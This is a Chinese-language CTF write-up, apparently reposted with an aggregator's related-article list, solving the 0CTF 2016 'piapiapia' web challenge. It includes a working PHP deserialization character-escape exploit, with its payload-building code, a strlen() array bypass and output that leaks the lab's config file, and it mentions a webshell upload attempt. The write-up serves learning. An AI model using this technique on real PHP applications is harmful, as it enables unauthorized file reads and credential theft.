[0CTF 2016]piapiapia

usernamepassword回顯推斷
admin123Invalid user name or password
admin'123Invalid user name or password
admin123'Invalid user name or password
a123Invalid user name說明username是admin
admin1Invalid password這很奇怪了
admin0200
admin1=1Invalid user name or password
admin1=0Invalid user name or password

如果說出現Invalid user name or password是因為有過濾符號,但是為什么password等于1、123的結果不同呢?為什么password=0的時候回顯200?不是普通的布爾盲注,感覺得拿到源碼才知道其中邏輯。

利用bp掃描備份文件發現所有不存在的路徑都會重定向到Index.php,但是從長度可以看到www.zip文件是存在的。拿到了源代碼。

發現有login、register、update、profile功能,發現profile存在可利用輸出:

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First');	}$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile  == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?><img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Hi <?php echo $nickname;?></h3><label>Phone: <?php echo $phone;?></label><label>Email: <?php echo $email;?></label>

有unserialize()但是class.php中沒有可利用的魔術方法。可以考慮$username二次注入和$photo文件讀取或者代碼注入。

public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);//將單引號和反斜杠(因為字符串和正則表達式二次轉義)過濾$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);//select被過濾,sql注入基本用不了}

update.php:

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First');	}if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {
?>

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));

對上傳的圖片沒有嚴格過濾,可能存在文件上傳漏洞。

上傳一句話木馬shell.php,然后文件位置為:upload/25a452927110e39a345a2511c57647f2

由于文件名被編碼,訪問該路徑服務器無法將其當作php代碼執行。

由于select被過濾sql注入用不了,對$photo文件名進行了md5編碼沒法進行文件上傳和文件讀取,對$photo文件內容進行base64編碼,也沒法進行代碼注入。看一下答案吧。

php反序列化中的字符逃逸。原因在于update.php將所有上傳內容進行序列化,然后在插入數據庫前進行了字符替換,會改變序列字符串長度。并且對nickname的長度過濾使用的是strlen($_POST['nickname']) > 10,能通過傳數組繞過。

如何進行字符逃逸呢?

首先我們的目標是利用$photo的文件名和file_get_contents()讀取config.php文件,但是文件名進行了md5編碼,所以需要利用字符逃逸構造$profile['photo']=config.php。

可以利用'where'替換為'Hacker'增加一個長度。從而在nickname中構造photo。

<?php
$profile = [];
echo "目標序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = 'hacker...';
$profile['photo'] = 'config.php';
echo serialize($profile)."\n";echo "替換前的序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = 'where...';
$profile['photo'] = 'upload/' . md5('1.jpg');
echo serialize($profile)."\n";// nickname需要以";s:5:"photo";s:10:"config.php";}結尾,并且讓他們逃逸出去
$end = '";s:5:"photo";s:10:"config.php";}';
$num = strlen($end); //33
$bengin = str_repeat('where', $num); 
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = $bengin.$end;
$profile['photo'] = 'upload/' . md5('1.jpg');
echo "構造的序列:\n";
echo $string = serialize($profile)."\n";$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$res = preg_replace($safe, 'hacker', $string);
echo "替換后的序列:\n";
echo $res."\n";
var_dump (unserialize($res))."\n";
echo "playload:\n";
echo $profile['nicname']."\n";

這是我構造playload的思路,先從目標序列、替換前的序列入手,再構造序列,最后驗證結果是否與目標序列一樣。

但是測試發現并不可以,update成功但是profile顯示所有信息都為空,這說明反序列化可能出了問題。

突然想到,我們上傳的時候nicname傳的是數組,會不會數組的序列字符串有特殊的地方?

修改一下類型然后重新生成目標序列:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:9:"hacker...";}s:5:"photo";s:10:"config.php";}

果然,如果nickname是數組的話,有特殊格式。因此在字符逃逸的時候需要";}來閉合nicname。而不僅僅是"; 。重新構造playload:

<?php
$profile = [];
echo "目標序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = [];
$profile['nicname'][] = 'hacker...';
$profile['photo'] = 'config.php';
echo serialize($profile)."\n";echo "替換前的序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = [];
$profile['nicname'][] = 'where...';
$profile['photo'] = 'upload/' . md5('1.jpg');
echo serialize($profile)."\n";// nickname需要以";}s:5:"photo";s:10:"config.php";}結尾,并且讓他們逃逸出去
$end = '";}s:5:"photo";s:10:"config.php";}';
$num = strlen($end); //34
$bengin = str_repeat('where', $num); 
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = [];
$profile['nicname'][] = $bengin.$end;
$profile['photo'] = 'upload/' . md5('1.jpg');
echo "構造的序列:\n";
echo $string = serialize($profile)."\n";$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$res = preg_replace($safe, 'hacker', $string);
echo "替換后的序列:\n";
echo $res."\n";
echo "驗證正確性:\n";
var_dump (unserialize($res))."\n";
echo "playload:\n";
var_dump($profile['nicname']);

輸出是:

目標序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:9:"hacker...";}s:5:"photo";s:10:"config.php";}
替換前的序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:8:"where...";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
構造的序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
替換后的序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}array(4) {["phone"]=>string(11) "12345678901"["email"]=>string(16) "zzz999999@qq.com"["nicname"]=>array(1) {[0]=>string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"}["photo"]=>string(10) "config.php"
}
playload:
array(1) {[0]=>string(204) "wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}"
}

設置對update.php請求參數如上。然后訪問profile.php。

由于這邊圖片是config.php的base64編碼,所以無法解析成圖片。但是我們可以通過查看源碼看到

<img src="data:image/gif;base64,PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2Y1YTNiNGVmLTQyNDQtNDcyOC04MTM0LWY5YmYzY2Y3NWNhY30nOwo/Pgo=" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Hi Array</h3>

解碼之后就能得到flag啦!

總結一下:感覺這道題目很棒,非常接近真實場景。代碼審計的時候要考慮很多種可能。唯一可惜的是沒有想到php反序列化字符逃逸。另外補充了一個知識,strlen()過濾可以通過傳入數組繞過。踩過的一個坑,php序列字符串中數組類型的數據是有大括號包裹的,因此逃逸的時候要注意閉合。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/92526.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/92526.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/92526.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

人工智能系列(7)人工神經網絡中的無監督學習

一. 無監督學習簡介神經網絡的一個關鍵屬性是能夠從環境中學習&#xff0c;并在不斷學習的過程中持續改善性能。在無監督學習&#xff08;又稱自組織學習&#xff0c;self-organized learning&#xff09;中&#xff0c;網絡無需外部教師提供目標輸出&#xff0c;而是通過對輸入…

250810-OpenWebUI集成Dify應用

A. 最終效果 B. 環境配置 配置并啟動Open-WebUI 隨后瀏覽器訪問&#xff1a;http://localhost:8080 pip install open-webui open-webui serve配置并啟動Pipelines Pipelines默認占用80端口相比于Docker的啟動方式&#xff0c;可以在相同的命令行中&#xff0c;查看pipelines …

day22|學習前端ts語言

抽象類&#xff0c;繼承。不能創造實例class類&#xff1a;屬性聲明&#xff0c;構造器&#xff0c;方法&#xff0c;實例繼承super&#xff08;&#xff09;override重寫父類繼承的方法聲明提升&#xff08;hoisting&#xff09;同一個js作用域內部&#xff0c;編譯階段把函數…

【網絡安全】CTF——[網鼎杯2018]Unfinish-SQL注入-二次注入

目錄 一、前言 二、環境 三、復現 3.1尋找注入點 3.2嘗試盲注 3.3正則限制 3.4腳本注入獲取flag 四、總結 一、前言 前兩天復現了一道CTF題目[網鼎杯 2018]Comment&#xff0c;今天繼續來學習一下SQL二次注入。 二、環境 BUUCTF在線評測 三、…

【langchain】如何給langchain提issue和提pull request?

什么是issue? 可以這么理解&#xff0c;bug是issue的子集。issue可以包含bug\feature\sercurity and others. https://github.com/langchain-ai/langchain/issues/32484 什么是pull request? 其實我真不是很理解&#xff0c;但不妨我來提pr https://github.com/langchain-ai/…

MySQL的存儲引擎:

目錄 InooDB引擎&#xff1a; MyISAM引擎&#xff1a; InooDB引擎與MyISAM存儲引擎的區別&#xff1a; Archive引擎&#xff1a; Blackhole引擎&#xff1a; CSV引擎&#xff1a; Memory引擎&#xff1a; Federated引擎&#xff1a; Merge引擎&#xff1a; NDB引擎&a…

Mock與Stub

一、核心概念與差異對比特性MockStub核心目的驗證對象間的交互行為提供預定義的固定響應驗證重點方法調用次數、參數、順序不關注調用過程&#xff0c;只關注結果行為模擬可編程的智能模擬靜態的簡單響應適用場景驗證協作關系隔離依賴、提供固定數據復雜性較高&#xff08;需要…

香港服務器容器網絡插件的多節點通信性能基準測試

香港服務器容器網絡插件的多節點通信性能基準測試在云計算和容器化技術快速發展的今天&#xff0c;香港服務器因其優越的地理位置和網絡環境&#xff0c;成為眾多企業部署容器服務的首選。本文將深入探討香港服務器環境下容器網絡插件的多節點通信性能&#xff0c;通過詳實的基…

Vue3 學習教程,從入門到精通,Vue 3 全局 API 語法知識點及案例詳解(32)

Vue 3 全局 API 語法知識點及案例詳解 Vue 3 提供了豐富的全局 API&#xff0c;用于創建應用實例、注冊全局組件、指令、插件等。以下將詳細介紹 Vue 3 的主要全局 API&#xff0c;并結合詳細的案例代碼進行說明。每個案例代碼都包含中文注釋&#xff0c;幫助初學者更好地理解…

UE5多人MOBA+GAS 41、制作一個飛彈,添加準心索敵

文章目錄添加新角色&#xff08;不寫了&#xff09;創建一個發射技能創建一個飛彈類添加擊中特效添加準星UI獲取瞄準目標添加新角色&#xff08;不寫了&#xff09; 將原本的機器人藍圖改為BP_PlayerCharacter&#xff0c;以此創建子藍圖 創建動畫藍圖模板&#xff08;具體就…

解決渲染抖動與滾動錨點定位不準確問題的方法與經驗分享

場景描述&#xff1a;React 虛擬列表&#xff08;Virtualized List&#xff09;是當我們在處理大列表時&#xff0c;為了提升性能而采用的一種技術。然而在實現過程中&#xff0c;可能會遇到渲染抖動問題以及滾動錨點定位不準確的問題。??解決方案&#xff1a;React虛擬列表實…

OpenAI 時隔多年再開源!GPT-OSS 120B/20B 發布,支持本地部署,消費級 GPU 即可運行

OpenAI 近期做出了一項令人矚目的戰略轉變&#xff1a;宣布推出兩款開放權重&#xff08;Open Weight&#xff09; 語言模型 GPT-OSS-120B 和 GPT-OSS-20B。這不僅是其自 GPT-2 之后首次開源模型&#xff0c;更關鍵的是&#xff0c;這兩款模型特別針對消費級硬件進行了深度優化…

MySQL高可用方案之MySQL Group Replication高可用架構搭建完全指南

MySQL Group Replication高可用架構搭建完全指南 前言 在當今互聯網應用中,數據庫高可用性已成為系統設計的核心需求。MySQL作為最流行的開源關系型數據庫之一,其高可用解決方案備受關注。MySQL Group Replication是MySQL官方推出的原生高可用解決方案,它基于Paxos協議實現…

網站SSL證書到期如何更換?簡單完整操作指南

----------------------------------------------------------------------------------------------- 這是我在我的網站中截取的文章&#xff0c;有更多的文章歡迎來訪問我自己的博客網站rn.berlinlian.cn&#xff0c;這里還有很多有關計算機的知識&#xff0c;歡迎進行留言或…

Spring Boot 開發三板斧:POM 依賴、注解與配置管理

引言 Spring Boot 是一個功能強大且廣受歡迎的框架&#xff0c;用于快速構建基于 Spring 的應用。它通過簡化配置和自動化管理&#xff0c;幫助開發者專注于業務邏輯的實現。然而&#xff0c;要想高效地開發 Spring Boot 應用&#xff0c;掌握以下三個關鍵點至關重要&#xff1…

kubernetes安裝搭建

個人博客站—運維鹿:http://www.kervin24.top/ CSDN博客—做個超努力的小奚&#xff1a; https://blog.csdn.net/qq_52914969?typeblog 一、kubernetes介紹 Kubernetes本質是一組服務器集群&#xff0c;它可以在集群的每個節點上運行特定的程序&#xff0c;來對節點中的容…

MySQL高可用方案之MySQL InnoDB Cluster高可用架構實戰指南:從零搭建到生產部署

MySQL InnoDB Cluster高可用架構實戰指南:從零搭建到生產部署 一、引言:為什么選擇MySQL InnoDB Cluster 在當今數據驅動的商業環境中,數據庫高可用性已成為企業IT基礎設施的核心需求。MySQL作為全球最受歡迎的開源關系型數據庫,其高可用解決方案備受關注。而MySQL InnoD…

祝融號無線電工作頻段

前面深入查證了旅行者1號的無線電工作頻段&#xff1a; 旅行者1號無線電工作頻段-CSDN博客 下面嘗試查證我國祝融號無線電工作頻段。 一、百度百科 來自百度百科&#xff1a; 我注意到一條關鍵信息&#xff1a; 這說明祝融號在國際上是有合作的&#xff0c;而不是我們國家單…

Kafka生產者相關原理

前言前面已經介紹了Kafka的架構知識并引出了Kafka的相關專業名稱進行解釋這次分享一下Kafka對生產者發送消息進行處理的運行機制和原理生產者發送消息兩種方式同步發送消息程序中線程執行完消息發送操作之后會等待Kafka的消息回應ack默認等待30秒沒有回應就會拋出異常等待時間和…

Python 獲取對象信息的所有方法

在 Python 里&#xff0c;我們經常需要檢查一個對象的類型、屬性、方法&#xff0c;甚至它的源碼。這對調試、學習和動態編程特別有用。今天我們就來聊聊獲取對象信息的常見方法&#xff0c;按由淺入深的順序來學習。 參考文章&#xff1a;Python 獲取對象信息 | 簡單一點學習…